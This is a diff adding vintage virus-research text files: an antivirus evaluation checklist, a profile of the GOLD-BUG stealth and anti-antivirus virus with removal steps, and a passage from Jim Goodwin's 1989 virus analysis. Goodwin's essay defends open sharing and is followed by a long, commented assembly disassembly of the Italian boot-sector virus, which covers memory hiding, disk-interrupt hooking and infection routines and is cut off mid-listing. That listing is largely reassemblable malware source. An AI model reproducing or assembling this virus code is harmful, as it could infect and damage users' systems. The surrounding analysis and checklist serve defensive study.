+TWELVE SPECIAL CONSIDERATIONS FOR VIRUS PROTECTION PACKAGES: + +1. Amount of impact the package may have on your computer's + performance. + + If the package is "RAM Resident," does it noticeably slow + down your machine's operations? + If so, with what type of operation? Are program start- + ups slowed? Are database operations slowed? + + +2. Level of dependency on operator intervention. + + Does the package require the operator to perform certain + tasks on a regular basis in order for it to be + effective? (Such as only checking for virus conditions + on command.) + Does the package require much time to install and keep + operational? ie: Each time any new software is + installed on the system, must the protection package be + used? + +3. Impact on productivity... Annoyance level. + + Does the package periodically stop processing and/or require + the operator to take some action. If so, does the + package have any capability to learn its environment + and stop its interference? + +4. False alarms. + + How does the package handle situations that appear to be + viruses but are legitimate actions made by legitimate + programs? + Are there situations where legitimate jobs will have to be + re-run or the system re-booted because of the + protection package? How frequently will this occur? + How much additional end-user support will the package + require? + +5. The probability that the package will remain in use? + + Will there be any interference or usage requirements that + will discourage the user from keeping the package + active? (It won't be effective if they quickly desire + to de-install it and perhaps only pretend they are + using it when management is present.) + +6. Level of effectiveness it provides in combatting viruses. + + Will it be effective against viruses produced by someone + with an experience level of: + + Level 1 - "Typical End User"? (Basic knowledge of using + applications and DOS commands.) + Level 2 - "Power User"? (Knowledge of DOS Command + processor, Hardware functions, BASIC + programming, etc.) + Level 3 - "Applications Programmer"? (Knowledge of + programming languages and DOS service calls.) + Level 4 - "Systems Engineer"? (Knowledge of DOS and + Hardware internal functions.) + Level 5 - "Computer Science Professor that develops + viruses for research purposes"? + + Which types of intrusion will it be effective against? + + "Covert Entry"? + "Overt Entry"? + + Does it detect a virus attempting to spread or "clone" + itself? + + Does it detect a virus attempting to place itself into a + position to be automatically run? + + If a virus gets into the computer, which types of virus + damage will it detect? + + "Massive Destruction" + "Partial Destruction" + "Selective Destruction" + "Random Havoc Destruction" + "Annoyance" + + Does the software detect a virus before or after it has + infected a program or made its attack? + + Does the publisher claim total protection from all viruses? + + +7. Does the software provide any assistance for "post mortem" + analysis of suspected problems? + + ie: If a virus symptom is detected and the computer is + brought to a halt, is there any supporting information + for analyzing the problem other than the operator's + recall of events? + + +8. Impact on your machine's resources. + + How much RAM is used? + Is any special hardware required? + + +9. Is the product compatible with: + + Your hardware configuration. + Your Operating system version. + Your network. + Other software that you use, especially TSR's. + +10. Can the package be used by current computing personnel + without substantial training? + + What type of computing experience is required to install the + package? + +11. Background of the publisher. + + References... Who is using this or other products from + this publisher? How is this company perceived by its + customers? The press? + + How long has the publisher been in business? + + Was the product Beta Tested?... By valid, well-known + organizations or by friends of the company's owner? + + Was the product tested against any known viruses? + Successfully? + + What about on-going support? In what form? At what cost? + + Does the company plan to upgrade its product periodically? + + What is the upgrade policy? Expected costs? + +12. Does the package provide any other useful benefits to the + user besides virus protection? + + diff --git a/textfiles.com/virus/gold-bug.txt b/textfiles.com/virus/gold-bug.txt new file mode 100644 index 00000000..b40d568e --- /dev/null +++ b/textfiles.com/virus/gold-bug.txt @@ -0,0 +1,161 @@ +Virus Name: GOLD-BUG +Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE +V Status: New, Research +Discovery: January, 1994 +Symptoms: CMOS checksum failure; Creates files with no extension; Modem + answers on 7th ring; BSC but it is hidden; Most virus scanners + fail to run or are Deleted; CHKLIST.??? files deleted. +Origin: USA +Eff Length: 1,024 Bytes +Type Code: SBERaRbReX - Spawning Color Video Resident and Extended HMA + Memory Resident Boot-Sector and Master-Sector Infector +Detection Method: None +Removal Instructions: See Below + +General Comments: + + GOLD-BUG is a memory-resident multipartite polymorphic stealthing + boot-sector spawning anti-antivirus virus that works with DOS 5 and + DOS 6 in the HIMEM.SYS memory. When an .EXE program infected with the + GOLD-BUG virus is run, it determines if it is running on an 80186 or + better, if not it will terminate and not install. If it is on an + 80186 or better it will copy itself to the partition table of the hard + disk and remain resident in memory in the HMA (High Memory Area) only + if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no + infection will occur. The old partition table is moved to sector 14 + and the remainder of the virus code is copied to sector 13. The virus + then executes the spawned associated file if present. INT 13 and + INT 2F are hooked into at this time but not INT 21. The spawning + feature of this virus is not active now. + + When the computer is rebooted, the virus goes memory resident in the + color video memory. Also at this time the GOLD-BUG virus removes + itself from the partition table and restores the old one back. Unlike + other boot-sector infectors, it does not use the top of memory to + store the code. CHKDSK does not show a decrease in available memory. + At this time it only hooks INT 10 and monitors when the HMA becomes + available. Once DOS moves into the HMA, then GOLD-BUG moves into the + HMA at address FFFF:FB00 to FFFF:FFFF. If the HMA never becomes + available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the + CONFIG.SYS, then the virus clears itself from the system memory when + the computer changes into graphics mode. If it moves to the HMA, it + hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the + partition table. The GOLD-BUG virus also has some code that stays + resident in the interrupt vector table to always make the HMA + available to the virus. The full features of the virus are now + active. + + The GOLD-BUG virus will infect the boot sector of 1.2M diskettes. + The virus copies itself to the boot sector of the diskette and moves + a copy of the boot sector to sector 28 and the remainder of the code + is copied to sector 27. These are the last 2 sectors of the 1.2M disk + root directory. If there are file entries on sector 27 or 28 it will + not overwrite them with the virus code. It will infect 1.2M disks in + drive A: or B: If a clean boot disk is booted from drive A: and you + try to access C: you will get an invalid drive specification. + + The boot-sector infection is somewhat unique. If the computer is + booted with a disk that contains the GOLD-BUG virus, it will remain in + video memory until the HMA is available and then infect the hard disk. + Also at this time, it will remove itself from the 1.2M disk. The + virus will never infect this disk again. It makes tracking where you + got the virus from difficult in that your original infected disk is + not infected anymore. + + If an .EXE file less than 64K and greater then 1.5K is executed, + GOLD-BUG will randomly decide to spawn a copy of it. The .EXE file is + renamed to the same file name with no extension, ie. CHKDSK.EXE + becomes CHKDSK. The original file attributes are then changed to + SYSTEM. An .EXE file with the same name is created. This .EXE file + has the same length, file date and attributes as the original .EXE + file. This spawning process will not make a copy on a diskette + because it might be write protected and be detected; but it will make + a spawn .EXE file on a network drive. When a spawned file is created, + CHKLIST.??? of the current directory is also deleted. The .EXE file + that is created is actually a .COM file; it has no .EXE header. + + The GOLD-BUG virus is very specific as to what type of .EXE files it + will spawn copies. It will not spawn any Windows .EXE files or any + other .EXE files the use the new extended .EXE header except those + that use the PKLITE extended .EXE header. This way all Windows + programs will continue to run and the virus will still be undetected. + + The GOLD-BUG virus is also Polymorphic. Each .EXE file it creates + only has 2 bytes that remain constant. It can mutate into 128 + different decription patterns. It uses a double decription technique + that involves INT 3 that makes it very difficult to decript using a + debugger. The assembly code allowed for 512 different front-end + decripters. Each of these can mutate 128 different ways. + + The GOLD-BUG virus incorporates an extensive steathing technique. Any + time the hard disk partition table or boot sector of an infected + diskette is examined, the copy of the partition table or boot sector + is returned. If a spawned .EXE file is opened to be read or executed; + the GOLD-BUG virus will redirect to the original file. Windows 3.1 + will detect a resident boot-sector virus if the "Use 32 Bit Access" is + enabled on the "Virtual Memory" option. GOLD-BUG will disconnect + itself from the INT 13 chain when Windows installs and reconnect when + Windows uninstalles to avoid being detected. When Windows starts, the + GOLD-BUG virus will copy the original hard disk partition table back. + When Windows ends, the GOLD-BUG virus will reinfect the partition + table. + + The GOLD-BUG virus also has an extensive anti-antivirus routine. It + can install itself with programs like VSAFE.COM and DISKMON.EXE + resident that monitor changes to the computer that are common for + viruses. It writes to the disk using the original BIOS INT 13 and not + the INT 13 chain that these types of programs have hooked into. It + hooks into the bottom of the interrupt chain rather than changing and + hooking interrupts; very similar to the tunneling technique. If the + GOLD-BUG virus is resident in memory, any attempts to run most virus + scanners will be aborted. GOLD-BUG stops any large .EXE file + (greater than 64k) with the last two letters of "AN" to "AZ". It will + stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE, + etc., etc. The SCAN program will either be deleted or an execution + error will return. Also, GOLD-BUG will cause a CMOS checksum failure + to happen next time the system boots. GOLD-BUG also erases + "CHKLIST.???" created by CPAV.EXE and MSAV.EXE. Programs that do an + internal checksum on themselves will not detect any changes. The + Thunder Byte Antivirus programs contain a partition table program that + claims it can detect all partition table viruses. GOLD-BUG rides + right through the ThunderByte partition virus checker. + + The GOLD-BUG virus detects a modem. If you received an incoming call + on the modem line, GOLD-BUG will output a string that will set the + modem to answer on the seventh ring. + + If a program tries to erase the infected .EXE file, the original + program and not the infected .EXE file is erased. + + The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the + decripted code. The virus gets it name from "AU", the chemical + element "GOLD". The text string "CHKLIST????" is actually executable + code. + + The GOLD-BUG virus has two companion viruses that it works with. The + DA'BOYS virus is also a boot-sector infector. It is possible to have + a diskette with two boot-sector viruses. GOLD-BUG hides the presence + of the DA'BOYS virus from the Windows 3.1 startup routine. GOLD-BUG + removes the DA'BOYS virus from the INT 13 chain at the start of + Windows and restores it when Windows ends. The GOLD-BUG virus works + with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in + the HMA for the XYZ virus so it can load as well. + + To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the + CONFIG.SYS, then reboot. Once the system comes up again, reboot from + a clean boot disk. The Virus has now removed itself from the + partition table and memory. With the ATTRIB command check for files + with the SYSTEM bit set that don't have any extension. Delete the + .EXE file associated with the SYSTEM file. Using ATTRIB remove the + SYSTEM attribute. Rename the file with no extension to an .EXE file. + Format each diskette or run SYS to remove the virus from the boot + sector of each 1.2M disk. Any spawned .EXE files copied to diskette + need to be deleted. + + Several variations of this virus can exist. The assembly code allowed + for 14 features to be turned on or off: Delete Scanners, Check for + 8088, Infect at Random, Deflect Delete, CMOS Bomb, File Reading + Stealth, Same File Date, Double Decription, Execute Spawned, Modem + Code, Anti-Antivirus, Polymorphic, Multipartite and 720K or 1.2M + Diskette Infection. Some of these features can be disabled and more + code added to change the characteristics of this virus. diff --git a/textfiles.com/virus/goodwin.txt b/textfiles.com/virus/goodwin.txt new file mode 100644 index 00000000..02dbb093 --- /dev/null +++ b/textfiles.com/virus/goodwin.txt @@ -0,0 +1,3516 @@ + The following document is copyrighted by Jim Goodwin, 1989. It may be +copied and distributed freely, as long as no changes are made. For further +information or comments, I may be contacted on the Bulletin Board Society's +Homebase board - (408) 988 4004. Additional virus analyses are currently +being finalized and the results will be published in future versions of this +document. + Jim Goodwin - April 7, 1989 + + + + AN ANALYSIS OF COMPUTER VIRUS STRUCTURES + + + There has been much disagreement within the virus research community +about the wisdom of distributing detailed information about viruses, +including disassemblies of viruses. Some would say that virus disassemblies +can be easily re-assembled and returned to a live state; that they show +people how to write viruses or that they give people ideas that they would +not otherwise have. The opposing view holds that detailed information must +be shared freely in order to effectively combat the virus spread. Proponents +of shared information point out that hundreds of people are re-inventing the +wheel by disassembling viruses that have already been disassembled many +times over. They argue that it does not take a disassembly to enable someone +to write a virus; that anyone with even a moderate understanding of +programming can do so, and that live viruses are so common that anyone +wishing to obtain one can easily get their hands on one. + I very strongly favor the free information viewpoint. It is clear that +we, as a user community, are suffering greatly from a lack of concrete +knowledge. PC Magazine, as the prime example of this lack of knowledge, +performed an evaluation of antiviral products in its April issue that is +shocking to anyone with even a remote understanding of viruses. The products +chosen were the TSR type of prevention products (Class I products in CVIA +terminology), and these products are universally known to be practically +useless. They were tested against only three viruses, none of them boot +sector infectors (since TSR type products cannot possibly prevent such +infections), in spite of the fact that boot infectors account for over 75% +of all infection occurrences. The editor's choice was Flu-shot and, while +I have nothing against Greenberg or his programming skills, the product, like +all TSRs, is almost completely ineffective. Even a child could write a virus +to evade the interrupt vectoring capabilities of TSRs in a DOS environment. +These and other circumstances make it obvious that we are in desperate need +of education. + I have disassembled dozens of viruses, and I now know that it takes no +specialized knowledge to write a virus. Literally anyone can write one. The +concept is absurdly simple, understood by even beginning programmers. We +have merely surrounded the virus issue with an air of mystique that makes it +appear that there is some magic formula that must be guarded from the crowd +of people waiting to write viruses. This is total nonsense. There is no +magic. There is no subtlety. A program is merely written that copies itself +and attaches itself to another program. If this is the secret we are trying +to protect, then we have become foolish. + The truth is, we need to study and disseminate existing virus structures +far more than we need to hide them from crackers. A cracker gains little +from a disassembly. A researcher attempting to write a disinfectant program, +on the other hand, gains a great deal. The cracker is the only person who +gains from the existing atmosphere of restricted information flow. If few +people know the internals of a virus, then there is little likelihood that +an effective remedy for the virus will be forthcoming. If many people have +access, then one or more will certainly develop an identification and removal +product. + I also want to point out that full virus disassemblies have previously +been published in at least three books and four international magazines with +no known ill effects, and a great deal of positive support from readers. + I do not expect the previous brief discussion will change the minds of +those people who insist on a restricted flow of detailed information. I do +hope, however, that those of you who have been shy about your own desires to +open up and share information, will take heart and pass on the enclosed +disassemblies to those people that you feel might benefit from them. + I would like to take this opportunity to give my heartfelt thanks to +John McAfee (who mildly disagrees with my approach) for his tireless efforts +to collect and classify viruses from multiple computer architectures. His +work, more than any others, has inspired me to give my all to this effort. +I would also like to recognize the excellent collective work of the Computer +Virus Industry Association, for their concise analysis of antiviral measures +and their overwhelming contribution to my collection of 60 odd viruses. +Neither John nor the Association, by the way, is in any way responsible for +my publication and distribution of this document. I take sole and full +responsibility. + + + + THE VIRUSES + +************************************************************************* +------------------------------------------------------------------------- +------------------------------------------------------------------------- +************************************************************************* + +The "Italian Virus" +Also Called - Bouncing Dot, Vera Cruz and Missouri virus. + + ; ORIGININ ADDRESS -7C00H + + +RAM SEGMENT AT 0 + + ; SYSTEM DATA + + ORG 20H +INT8OF DW ? ; INTERRUPT 8 OFFSET +INT8SG DW ? ; INTERRUPT 8 SEGMENT + ORG 4CH +INT19O DW ? ; INTERRUPT 19 OFFSET +INT19S DW ? ; INTERRUPT 19 SEGMENT + ORG 413H +RAMSIZ DW ? ; TOTAL RAM SIZE + + ; BPB OF VIRUS BOOT RECORD + + ORG 7C0BH +BYPSEC DW ? ; BYTES PER SECTOR +NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT +SECRES DW ? ; RESERVED SECTORS +FATNUM DB ? ; NUMBER OF FATS +DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES +SECNUM DW ? ; NUMBER OF SECTORS +MEDIAD DB ? ; MEDIA DESCRIPTOR +SECFAT DW ? ; NUMBER OF SECTORS PER FAT +SECTRK DW ? ; SECTORS PER TRACK +HEDNUM DW ? ; NUMBER OF HEADS +HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) + + ; INTERRUPT 19 (13H) BRANCH ADDRESS + + ORG 7D2AH + +ORIG19 DW ? ; ORIGINAL INT 19 OFFSET +ORG19S DW ? ; ORIGINAL INT 19 SEGMENT + + ; INSTALLATION DATA AREA + + ORG 7DF3H +CURFAT DW ? ; CURRENT FAT +CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER +SWITCH DB ? ; SWITCHES + ; - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT + ; - 04H - 16-BIT FAT +LSTDRV DB ? ; LAST DRIVE USED +REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE +RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING +FLAG01 DW ? ; FLAG FIELD + + ; DATA AREA + + ORG 7EB0H +LASTTM DW ? ; SYSTEM TIME LAST CALLED +PRCFAT DB ? ; PROCESSED FAT / 256 + + ; INTERRUPT 8 BRANCH ADDRESS + + ORG 7FC9H +ORG08O DW ? ; ORIGINAL INT 8 OFFSET +ORG08S DW ? ; ORIGINAL INT 8 SEGMENT + + ; DISPLAY DATA AREA + + ORG 7FCDH +CHARAT DW ? ; CHARACTER AND ATTRIBUTES +ROWCOL DW ? ; ROW AND COLUMN POSITIONS +ROWCLM DW ? ; ROW AND COLUMN MOVEMENT +GRAPHM DB ? ; GRAPHICS MODE SWITCH +MODEAP DW ? ; MODE AND ACTIVE PAGE +COLUMN DB ? ; VISIBLE COLUMNS - 1 + + ; BPB OF ORIGINAL BOOT RECORD + + ORG 800BH +BIPSEC DW ? ; BYTES PER SECTOR +ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT +VERVED DW ? ; RESERVED SECTORS +RUMNUM DB ? ; NUMBER OF FATS +ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES +NUOSEC DW ? ; NUMBER OF SECTORS +MIASET DB ? ; MEDIA DESCRIPTOR +FASNUM DW ? ; NUMBER OF SECTORS PER FAT +TRASSC DW ? ; SECTORS PER TRACK +NUOHED DW ? ; NUMBER OF HEADS +HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER) + + + ORG 81F5H +FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER +SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT INSTALLED + ; - 04H - 16-BIT FAT +LASTUS DB ? ; DRIVE LAST USED +REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE +LATER2 DB ? ; TYPE SWITCH +LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM? + + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: + JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE + + DB 'MSDOS3.2' ; OEM AND VERSION + + DW 512 ; BYPSEC - BYTES PER SECTOR + DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT + DW 1 ; SECRES - RESERVED SECTORS + DB 2 ; FATNUM - NUMBER OF FATS + DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES + DW 720 ; SECNUM - NUMBER OF SECTORS + DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR + DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT + DW 9 ; SECTRK - SECTORS PER TRACK + DW 2 ; HEDNUM - NUMBER OF HEADS + DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER) + + ; START OF PROCESSING + + ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA + +HIDE_ME_PLEASE: + XOR AX,AX + MOV SS,AX ; STACK SEGMENT ZERO + MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER + MOV DS,AX ; DATA SEGMENT ZERO + MOV AX,RAMSIZ ; GET TOTAL RAM SIZE + SUB AX,2 ; SUBTRACT 2K + MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE + MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT + SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS) + SUB AX,7C0H ; SUBTRACT BUFFER OFFSET + MOV ES,AX ; SET TARGET SEGMENT ADDRESS + MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET + MOV DI,SI ; COPY OFFSET FOR SOURCE + MOV CX,0100H ; NUMBER OF WORDS TO MOVE + REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE +; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION + ; THIS IS THE ILLEGAL OPCODE! + DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED + + ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE + + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + CALL SET_IT_UP +SET_IT_UP: + XOR AH,AH ; INITIALISE DISK SUB-SYSTEM + INT 13H ; DISK INTERRUPT + AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK + MOV BX,REMAIN ; GET SECTOR OF REST OF CODE + PUSH CS ; \ GET CURRENT SEGMENT + POP AX ; / + SUB AX,20H ; ADDRESS BACK ONE SECTOR + MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE + CALL READ_IT_IN ; READ REST OF CODE + MOV BX,REMAIN ; GET SECTOR OF REST OF CODE + INC BX ; ADDRESS TO BOOT SECTOR STORE + MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H) + MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR + CALL READ_IT_IN ; READ REAL BOOT SECTOR + XOR AX,AX + MOV SWITCH,AL ; SET OFF ALL SWITCHES + MOV DS,AX ; DATA SEGMENT ZERO + MOV AX,INT19O ; SAVE INT 19 OFFSET + MOV BX,INT19S ; SAVE INT 19 SEGMENT + MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET + MOV INT19S,CS ; NEW INT 19 SEGMENT + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + MOV ORIG19,AX ; STORE OLD INT 19 OFFSET + MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT + MOV DL,LSTDRV ; GET DRIVE NUMBER + DB 0EAH ; FAR JUMP TO BOOT SECTOR + DW 7C00H, 0 + +WRITE_IT_OUT: + MOV AX,301H ; WRITE ONE SECTOR + JMP SHORT GET_SECTOR + +READ_IT_IN: + MOV AX,201H ; READ ONE SECTOR +GET_SECTOR: + XCHG BX,AX ; MOVE SECTOR NUMBER TO AX + ADD AX,HIDSEC ; ADD HIDDEN SECTORS + XOR DX,DX ; CLEAR FOR DIVISION + DIV SECTRK ; DIVIDE BY SECTORS PER TRACK + INC DL ; ADD ONE TO ODD SECTORS + MOV CH,DL ; SAVE SECTOR NUMBER + XOR DX,DX ; CLEAR FOR DIVISION + DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS + MOV CL,6 ; POSITIONS TO MOVE + SHL AH,CL ; MOVE TOP TWO BITS OF TRACK + OR AH,CH ; MOVE IN SECTOR NUMBER + MOV CX,AX ; MOVE TO CORRECT REGISTER + XCHG CH,CL ; ..AND CORRECT POSITION IN REG + MOV DH,DL ; MOVE HEAD NUMBER + MOV AX,BX ; RECOVER CONTENTS OF AX +BRING_IN: + MOV DL,LSTDRV ; GET DRIVE NUMBER + MOV BX,8000H ; SET BUFFER ADDRESS + INT 13H ; DISK INTERRUPT + JNB GO_BACK ; BRANCH IF NO ERRORS + POP AX +GO_BACK: + RET + + ; INTERRUPT 19 (13H) (DISK) ROUTINE + +INT_19: + PUSH DS + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH CS ; \ SET DS EQUAL TO CS + POP DS ; / + PUSH CS ; \ SET ES EQUAL TO CS + POP ES ; / + TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH + JNZ PASS_OUT ; EXIT IF ON + CMP AH,2 ; TEST FOR READ SECTOR + JNZ PASS_OUT ; EXIT IF NOT + CMP LSTDRV,DL ; COMPARE DRIVE NUMBER + MOV LSTDRV,DL ; SAVE DRIVE NUMBER + JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME + + ; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS + ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH + ; TIME A DISK-READ WILL SWITCH IT ON. + + XOR AH,AH ; GET SYSTEM CLOCK + INT 1AH ; SYSTEM CLOCK INTERRUPT + TEST DH,7FH ; TEST LOW WORD HIGH BYTE + JNZ DO_TIME + TEST DL,0F0H ; TEST LOW WORD LOW BYTE + JNZ DO_TIME + PUSH DX ; SAVE SYSTEM TIME + CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE + POP DX ; RECOVER SYSTEM TIME +DO_TIME: + MOV CX,DX ; COPY SYSTEM TIME + SUB DX,LASTTM ; INTERVAL SINCE LAST CALL + MOV LASTTM,CX ; SAVE SYSTEM TIME + SUB DX,24H ; SUBTRACT 2 SECONDS + JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS +INT_SWITCH: + OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH + PUSH SI + PUSH DI + CALL DISK_INSTALL ; INSTALL ON DISK + POP DI + POP SI + AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH +PASS_OUT: + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + DB 0EAH ; FAR JUMP TO ORIGINAL INT 19 + DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET + DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT + + ; DISK INSTALLATION + +DISK_INSTALL: + MOV AX,201H ; READ ONE SECTOR + MOV DH,0 ; HEAD NUMBER 0 + MOV CX,1 ; TRACK 0, SECTOR 1 + CALL BRING_IN ; READ FIRST SECTOR FROM DISK + TEST LSTDRV,80H ; TEST FOR HARD DRIVE + JZ FAT_CHECK ; BRANCH IF NOT + + ; HARD DISK - PARTITION TABLE + + MOV SI,81BEH ; ADDRESS TO PARTITION TABLE + MOV CX,4 ; NUMBER OF ENTRIES IN TABLE +NEXT_PART_ENTRY: + CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT + JZ SNARF_UP_THE_BOOT ; BRANCH IF YES + CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT + JZ SNARF_UP_THE_BOOT ; BRANCH IF YES + ADD SI,10H ; ADDRESS TO NEXT ENTRY + LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE + RET + + ; HARD DISK - GET BOOT RECORD + +SNARF_UP_THE_BOOT: + MOV DX,[SI] ; GET HEAD NUMBER OF BOOT + MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT + MOV AX,201H ; READ ONE SECTOR + CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION + + ; BOOT SECTOR PROCESSING + +FAT_CHECK: + MOV SI,8002H ; ADDRESS TO BPB SOURCE + MOV DI,7C02H ; ADDRESS TO BPB TARGET + MOV CX,1CH ; LENGTH OF BPB + REPZ MOVSB ; COPY BPB + CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY + JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT + CMP LATER2,0 + JNB HEAD_EM_OUT + MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER + MOV CURCLS,AX ; SAVE IT + MOV SI,REMAI2 + JMP PLACE_VIRUS + +HEAD_EM_OUT: RET + + ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER + +WHERE_BE_THE_FAT: + CMP BIPSEC,200H ; SECTOR SIZE 512 + JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE + CMP ALCSEC,2 ; SECTORS PER CLUSTER + JB HEAD_EM_OUT ; EXIT IF LESS THAN 2 + MOV CX,VERVED ; GET RESERVED SECTORS + MOV AL,RUMNUM ; NUMBER OF FATS + CBW ; FILL OUT REGISTER + MUL FASNUM ; SECTORS PER FAT + ADD CX,AX ; SECTOR OF ROOT DIR + MOV AX,20H ; LENGTH OF DIR ENTRY + MUL ROTRID ; NUMBER OF DIR ENTRIES + ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS + MOV BX,200H ; LENGTH OF SECTOR + DIV BX ; SECTORS OF ROOT DIR + ADD CX,AX ; SECTOR OF FIRST CLUSTER + MOV CURCLS,CX ; SAVE THIS + MOV AX,SECNUM ; GET NUMBER OF SECTORS + SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS + MOV BL,NUMSEC ; GET SECTORS PER CLUSTER + XOR DX,DX + XOR BH,BH ; CLEAR TOP OF REGISTER + DIV BX ; CALCULATE NUMBER OF CLUSTERS + INC AX ; ALLOW FOR NUMBER ONE NOT USED + MOV DI,AX + AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH + CMP AX,0FF0H ; SEE IF 12-BIT FAT + JBE WRITE_FAT ; BRANCH IF YES + OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH +WRITE_FAT: + MOV SI,1 ; INITIALISE FAT ENTRY COUNT + MOV BX,SECRES ; GET RESERVED SECTORS + DEC BX ; ALLOW FOR ADDITION + MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR + MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2 + JMP SHORT READ_FAT + + ; DATA AREA + + DW 2 ; CURFAT - CURRENT FAT SECTOR + DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER + DB 1 ; SWITCH - SWITCHES + ; - 01H - NESTED INTERRUPT + ; - 02H - TIMER INTERRUPT INSTALLED + ; - 04H - 16-BIT FAT + DB 0 ; LSTDRV - DRIVE LAST USED + DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE + DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING + DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD. + + ; END OF FIRST SECTOR, START OF SECOND + + ; SEARCH FAT FOR UNUSED CLUSTER + +READ_FAT: + INC CURFAT ; ADDRESS TO NEXT FAT SECTOR + MOV BX,CURFAT ; GET NEXT SECTOR NUMBER + ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH + CALL READ_IT_IN ; READ FAT SECTOR + JMP SHORT GET_EM_NEXT + +FAT_SWITCH: + MOV AX,3 ; LENGTH OF TWO FAT ENTRIES + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JZ FAT_ENTRY ; BRANCH IF OFF + INC AX ; FOUR BYTES NOT THREE +FAT_ENTRY: + MUL SI ; MULTIPLY BY FAT ENTRY NUMBER + SHR AX,1 ; DIVIDE BY TWO + SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH + MOV BX,AX ; COPY DISPLACEMENT + CMP BX,1FFH ; SEE IF IN THIS SECTOR + JNB READ_FAT ; BRANCH IF NOT + MOV DX,[BX+8000H] ; GET ENTRY + TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH + JNZ F_TEST_1 ; BRANCH IF ON + MOV CL,4 ; POSITIONS TO MOVE + TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY + JZ FAT_TOP ; BRANCH IF NOT + SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION +FAT_TOP: + AND DH,0FH ; SWITCH OFF TOP BITS +F_TEST_1: + TEST DX,0FFFFH ; TEST ALL BITS + JZ MAKE_BAD ; BRANCH IF NONE ON +GET_EM_NEXT: + INC SI ; 